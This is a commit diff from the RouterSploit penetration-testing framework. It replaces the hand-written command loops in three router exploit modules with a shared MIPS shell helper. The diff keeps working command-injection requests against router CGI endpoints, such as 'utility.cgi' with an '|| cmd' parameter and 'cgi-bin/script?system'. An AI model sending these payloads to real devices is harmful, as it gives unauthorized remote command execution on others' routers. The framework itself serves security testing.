Commit 026ebb9b by lucyoa

Adding shell utility

parent 77402f6b
...@@ -3,11 +3,11 @@ from routersploit import ( ...@@ -3,11 +3,11 @@ from routersploit import (
print_success, print_success,
print_status, print_status,
print_error, print_error,
print_info,
http_request, http_request,
mute, mute,
validators, validators,
random_text, random_text,
shell
) )
...@@ -40,27 +40,15 @@ class Exploit(exploits.Exploit): ...@@ -40,27 +40,15 @@ class Exploit(exploits.Exploit):
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available") print_status("It is blind command injection - response is not available")
self.command_loop() shell(self, architecture="mips")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
if cmd in ['exit', 'quit']:
return
print_info(self.execute(cmd))
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/utility.cgi?testType=1&IP=aaa || {}".format(self.target, self.port, cmd) url = "{}:{}/utility.cgi?testType=1&IP=aaa || {}".format(self.target, self.port, cmd)
response = http_request(method="GET", url=url) http_request(method="GET", url=url)
if response is None: return ""
return ""
return response.text
@mute @mute
def check(self): def check(self):
......
...@@ -6,6 +6,7 @@ from routersploit import ( ...@@ -6,6 +6,7 @@ from routersploit import (
http_request, http_request,
mute, mute,
validators, validators,
shell
) )
...@@ -38,19 +39,10 @@ class Exploit(exploits.Exploit): ...@@ -38,19 +39,10 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
self.command_loop() shell(self, architecture="mips")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
if cmd in ['exit', 'quit']:
return
print self.execute(cmd)
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd) url = "{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd)
......
...@@ -7,6 +7,7 @@ from routersploit import ( ...@@ -7,6 +7,7 @@ from routersploit import (
http_request, http_request,
mute, mute,
validators, validators,
shell
) )
...@@ -36,22 +37,13 @@ class Exploit(exploits.Exploit): ...@@ -36,22 +37,13 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target Port') port = exploits.Option(80, 'Target Port')
def run(self): def run(self):
if self.check() is True: if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
self.command_loop() shell(self, architecture="mips")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
if cmd in ['exit', 'quit']:
return
print self.execute(cmd)
def execute(self, cmd): def execute(self, cmd):
url = "{}:{}/login.cgi.php".format(self.target, self.port) url = "{}:{}/login.cgi.php".format(self.target, self.port)
headers = {u'Content-Type': u'application/x-www-form-urlencoded'} headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
...@@ -71,6 +63,6 @@ class Exploit(exploits.Exploit): ...@@ -71,6 +63,6 @@ class Exploit(exploits.Exploit):
response = self.execute(cmd) response = self.execute(cmd)
if mark in response: if mark in response:
return True # target vulnerable return True # target is vulnerable
return False # target is not vulnerable return False # target is not vulnerable
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment